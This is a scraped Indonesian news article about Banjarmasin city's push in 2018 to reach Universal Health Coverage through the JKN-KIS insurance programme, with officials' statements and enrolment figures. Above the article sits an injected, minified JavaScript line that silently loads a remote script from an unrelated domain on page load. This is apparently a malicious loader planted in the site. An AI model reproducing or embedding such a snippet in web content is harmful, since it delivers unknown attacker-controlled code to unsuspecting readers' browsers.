(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Universal Health Coverage (UHC) yang merupakan program strategis pemerintah menjadi perhatian khusus bagi seluruh daerah di Indonesia, tidak terkecuali Pemerintah Kota Banjarmasin.
Sebagaimana diketahui target UHC adalah pada tanggal 1 Januari 2019 dan Pemerintah Kota Banjarmasin pun tidak ingin terus tertinggal dari daerah-daerah lain yang sudah mencapai UHC.
Hal tersebut selaras dengan apa yang disampaikan oleh Plh Sekretaris Daerah Kota Banjarmasin Gazi Akhmadi saat menghadiri kegiatan Forum Komunikasi Pemangku Kepentingan mewakili Walikota Banjarmasin, Senin (17/9), di ruang integrasi Kantor Walikota Banjarmasin.
Sampai dengan bulan September 2018 capaian kepesertaan JKN-KIS di kota Banjarmasin mecapai 74,23% dari total jumlah penduduk di kota Banjarmasin atau sudah mencapai 481.386 jiwa.
Pemerintah Kota Banjarmasin sangat berkomitmen untuk mencapai UHC di daerahnya, oleh karenanya perlu adanya strategi khusus yang harus ditemukan untuk mensiasati ketertinggalan kota Banjarmasin dari daerah lain yang telah UHC.
“Bahwa benar apa yang disampaikan oleh BPJS Kesehatan apabila program Jaminan Kesehatan Nasional-Kartu Indonesia Sehat (JKN-KIS) tidak akan berhasil apabila kita semua bergerak sendiri-sendiri, tentunya BPJS Kesehatan pun akan kewalahan apabila harus bergerak tanpa adanya dukungan dari banyak pihak,†ujarnya.
Melalui pertemuan ini, Pemkot Banjarmasin mengoptimalkan peran setiap Satuan Kerja Perangkat Daerah (SKPD), sebelumnya seluruh tanggung jawab koordinasi mengenai program JKN-KIS ini hanya pada Dinas Kesehatan. “Mulai saat ini setiap SKPD terkait akan memegang tanggung jawab penuh dan melaporkan secara berkala terhadap progress dari tugas yang dimiliki masing-masing,†jelas Gazi saat memimpin forum tersebut.
Kepala BPJS Kesehatan Cabang Banjarmasin Muhammad Fakhriza mengapresiasi komitmen Pemkot Banjarmasin yang ingin mengejar UHC untuk daerahnya. Tentunya dengan tercapainya UHC taraf hidup kesejahteraan hidup masyarakat kota Banjarmasin dari segi kesehatan akan meningkat dan menguntungkan kota Banjarmasin.
“Kami berharap rencana yang dicanangkan oleh sekda kota Banjarmasin dapat segera direalisasikan, tentunya kami siap mengkawal perkembangan program JKN-KIS di kota Banjarmasin apabila terdapat kendala-kendala yang dialami oleh SKPD saat menjalankan tugasnya, saya optimis apabila rencana ini optimal dilaksnakan, capaian UHC di Kota Banjarmasin akan segera tercapai,†terang Fakhriza.(arief)
KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More
KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More
KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More
This website uses cookies.